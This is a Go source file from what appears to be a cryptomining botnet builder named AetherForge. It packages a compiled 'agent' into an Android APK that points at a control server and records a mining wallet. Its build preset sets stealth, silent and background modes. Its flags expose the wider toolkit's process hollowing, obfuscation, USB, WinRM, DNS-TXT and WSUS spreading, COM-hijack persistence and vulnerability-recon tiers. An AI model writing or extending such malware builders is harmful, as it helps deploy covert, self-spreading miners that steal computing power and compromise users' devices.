Files
AetherForge/server/internal/builder/build_apk.go
AetherForge 50ebfe53cb Add Android APK fleet nodes with Crucible UI integration and tests.
APK wrapper registers platform=android via AETHERFORGE_PLATFORM; fleet UI shows robot icons, Android Access Depth probes, and a shortened mining onion timeline.
2026-06-07 02:44:29 -07:00

293 lines
9.3 KiB
Go

package builder
import (
"context"
"encoding/json"
"fmt"
"log"
"net/http"
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
"time"
"crypto-miner-server/internal/models"
"github.com/google/uuid"
)
// ApkBuildFunc packages the Android APK. Nil uses the default gradle/script path.
type ApkBuildFunc func(h *Handler, ctx context.Context, androidDir, buildDir string) (apkPath string, err error)
// Android-safe LOTL tiers baked into APK fleet nodes (no Windows spread lanes).
var apkSafeLotlTiers = []string{"vuln_recon", "linux"}
// ApplyApkBuildPreset enforces fleet-node defaults for phone/tablet APK builds.
func ApplyApkBuildPreset(req *BuildRequest) {
req.ApkMode = true
req.TargetOS = "android"
req.TargetArch = "arm64"
req.FusionEnabled = false
req.SpreadKit = false
req.GPUEnabled = false
req.ProcessHollowing = false
req.Obfuscate = false
req.SignBuild = false
req.MiningDisabled = true
req.MinerExecution = "inprocess"
req.Threads = 1
req.ThreadMode = "fixed"
req.ThreadPercent = 25
req.MiningMode = "idle"
req.MaxCPUUsagePct = 30
req.StealthMode = true
req.SilentMode = true
req.DisplayMode = "background"
req.FileLogging = false
req.AutoSpread = false
req.USBSpread = false
req.ShareSpread = false
req.WinRMSpread = false
req.DnsTxtSpread = false
req.WebRTCMeshSpread = false
req.WSUSCachePeerSpread = false
req.COMHijackPersist = false
req.RemoteAggressive = false
req.LinuxLOTLMode = "off"
req.LotlOnionEnabled = false
req.LotlPolicyFromServer = false
req.LotlOnionTiers = append([]string(nil), apkSafeLotlTiers...)
if strings.TrimSpace(req.ApkAgentName) == "" {
req.ApkAgentName = req.WorkerName
}
}
func (h *Handler) apkAndroidDir() string {
if h.projectRoot != "" && h.projectRoot != "." {
return filepath.Join(h.projectRoot, "android")
}
return filepath.Join(h.dataDir, "android")
}
func (h *Handler) apkAssetsDir() string {
return filepath.Join(h.apkAndroidDir(), "agent-app", "src", "main", "assets")
}
type apkAssetConfig struct {
ServerURL string `json:"server_url"`
WorkerName string `json:"worker_name"`
}
func (h *Handler) writeApkConfigJSON(req *BuildRequest) error {
assetsDir := h.apkAssetsDir()
if err := os.MkdirAll(assetsDir, 0755); err != nil {
return fmt.Errorf("create apk assets dir: %w", err)
}
cfg := apkAssetConfig{
ServerURL: strings.TrimSpace(req.ServerURL),
WorkerName: strings.TrimSpace(req.ApkAgentName),
}
if cfg.WorkerName == "" {
cfg.WorkerName = strings.TrimSpace(req.WorkerName)
}
raw, err := json.MarshalIndent(cfg, "", " ")
if err != nil {
return err
}
return os.WriteFile(filepath.Join(assetsDir, "config.json"), raw, 0644)
}
func (h *Handler) copyAgentBinaryToApkAssets(agentBinary string) error {
assetsDir := h.apkAssetsDir()
if err := os.MkdirAll(assetsDir, 0755); err != nil {
return fmt.Errorf("create apk assets dir: %w", err)
}
dest := filepath.Join(assetsDir, "agent")
return copyFile(agentBinary, dest)
}
func (h *Handler) defaultApkBuild(ctx context.Context, androidDir, buildDir string) (string, error) {
script := filepath.Join(androidDir, "build-apk.ps1")
if runtime.GOOS == "windows" && fileExists(script) {
cmd := exec.CommandContext(ctx, "powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-File", script, "-AndroidDir", androidDir, "-OutputDir", buildDir)
out, err := cmd.CombinedOutput()
if err != nil {
if ctx.Err() != nil {
return "", fmt.Errorf("apk build cancelled")
}
return "", fmt.Errorf("build-apk.ps1 failed: %s", strings.TrimSpace(string(out)))
}
apk := filepath.Join(buildDir, "agent-app-release.apk")
if fileExists(apk) {
return apk, nil
}
return "", fmt.Errorf("build-apk.ps1 did not produce agent-app-release.apk")
}
gradlew := filepath.Join(androidDir, "gradlew")
if runtime.GOOS == "windows" {
gradlew = filepath.Join(androidDir, "gradlew.bat")
}
if fileExists(gradlew) {
cmd := exec.CommandContext(ctx, gradlew, "-p", filepath.Join(androidDir, "agent-app"), "assembleRelease")
cmd.Dir = androidDir
out, err := cmd.CombinedOutput()
if err != nil {
if ctx.Err() != nil {
return "", fmt.Errorf("apk build cancelled")
}
return "", fmt.Errorf("gradle assembleRelease failed: %s", strings.TrimSpace(string(out)))
}
candidates := []string{
filepath.Join(androidDir, "agent-app", "build", "outputs", "apk", "release", "agent-app-release-unsigned.apk"),
filepath.Join(androidDir, "agent-app", "build", "outputs", "apk", "release", "agent-app-release.apk"),
}
for _, c := range candidates {
if fileExists(c) {
dest := filepath.Join(buildDir, "agent-app-release.apk")
if err := copyFile(c, dest); err != nil {
return "", err
}
return dest, nil
}
}
return "", fmt.Errorf("gradle finished but APK output not found")
}
return "", fmt.Errorf("android build tooling not found — expected %s or gradlew", script)
}
func fileExists(path string) bool {
_, err := os.Stat(path)
return err == nil
}
func (h *Handler) invokeApkBuild(ctx context.Context, androidDir, buildDir string) (string, error) {
if h.apkBuildFn != nil {
return h.apkBuildFn(h, ctx, androidDir, buildDir)
}
return h.defaultApkBuild(ctx, androidDir, buildDir)
}
func apkFileName(req *BuildRequest) string {
base := sanitizeFileName(req.ApkAgentName)
if base == "" {
base = sanitizeFileName(req.WorkerName)
}
return "agent-" + base + ".apk"
}
// buildAPKAgent compiles a linux/arm64 agent, embeds it in the Android project, and packages an APK.
func (h *Handler) buildAPKAgent(ctx context.Context, req *BuildRequest) (BuildResponse, int, string) {
ApplyApkBuildPreset(req)
buildID := uuid.New().String()
buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
agentDir := filepath.Join(buildDir, "agent")
cleanupBuild := func() { _ = os.RemoveAll(buildDir) }
if err := os.MkdirAll(agentDir, 0755); err != nil {
return BuildResponse{Success: false, Error: "Failed to create build directory"}, http.StatusInternalServerError, ""
}
h.setProgress(req.CancelToken, "Copying source files", 5)
if err := h.copyAgentSource(agentDir); err != nil {
cleanupBuild()
return BuildResponse{Success: false, Error: "Failed to prepare agent source: " + err.Error()}, http.StatusInternalServerError, ""
}
platform := BuildPlatform{GOOS: "linux", GOARCH: "arm64", Ext: ""}
h.setProgress(req.CancelToken, "Compiling agent (linux/arm64)", 25)
outputPath, err := h.compileWorker(ctx, agentDir, buildDir, req, buildID, platform, false)
if err != nil {
cleanupBuild()
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
h.setProgress(req.CancelToken, "Writing Android config", 55)
if err := h.writeApkConfigJSON(req); err != nil {
cleanupBuild()
return BuildResponse{Success: false, Error: "Failed to write apk config.json: " + err.Error()}, http.StatusInternalServerError, ""
}
h.setProgress(req.CancelToken, "Copying agent to APK assets", 65)
if err := h.copyAgentBinaryToApkAssets(outputPath); err != nil {
cleanupBuild()
return BuildResponse{Success: false, Error: "Failed to copy agent binary: " + err.Error()}, http.StatusInternalServerError, ""
}
h.setProgress(req.CancelToken, "Building APK", 80)
androidDir := h.apkAndroidDir()
apkPath, err := h.invokeApkBuild(ctx, androidDir, buildDir)
if err != nil {
cleanupBuild()
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
finalName := apkFileName(req)
finalPath := filepath.Join(buildDir, finalName)
if apkPath != finalPath {
if err := copyFile(apkPath, finalPath); err != nil {
cleanupBuild()
return BuildResponse{Success: false, Error: "Failed to stage APK: " + err.Error()}, http.StatusInternalServerError, ""
}
}
fileInfo, err := os.Stat(finalPath)
if err != nil {
cleanupBuild()
return BuildResponse{Success: false, Error: "APK build succeeded but file not found"}, http.StatusInternalServerError, ""
}
if err := h.checkBuildSize(fileInfo.Size()); err != nil {
cleanupBuild()
return BuildResponse{Success: false, Error: err.Error()}, http.StatusBadRequest, ""
}
exportPath := ""
if h.projectRoot != "" && h.projectRoot != "." {
exportPath = filepath.Join(h.projectRoot, finalName)
if err := copyFile(finalPath, exportPath); err != nil {
log.Printf("[Builder] APK root export: %v", err)
exportPath = ""
}
}
if exportPath == "" {
exportPath, _ = filepath.Abs(finalPath)
}
absPath, _ := filepath.Abs(finalPath)
dlURL := fmt.Sprintf("/api/v1/builds/%s/download", buildID)
buildRecord := &models.BuildRecord{
ID: buildID,
WorkerName: req.WorkerName,
ServerURL: req.ServerURL,
Wallet: req.Wallet,
Threads: req.Threads,
FileSize: fileInfo.Size(),
FilePath: absPath,
FileName: finalName,
DownloadURL: dlURL,
Platform: "android",
CreatedAt: time.Now(),
}
h.setProgress(req.CancelToken, "Saving to database", 99)
if err := h.db.InsertBuild(buildRecord); err != nil {
return BuildResponse{Success: false, Error: "Failed to record build in database"}, http.StatusInternalServerError, ""
}
h.notifyBuildComplete(finalName, req.WorkerName, fileInfo.Size())
return BuildResponse{
Success: true,
BuildID: buildID,
FileName: finalName,
FilePath: absPath,
ArtifactPath: absPath,
FileSize: fileInfo.Size(),
DownloadURL: dlURL,
ExportPath: exportPath,
}, http.StatusOK, finalPath
}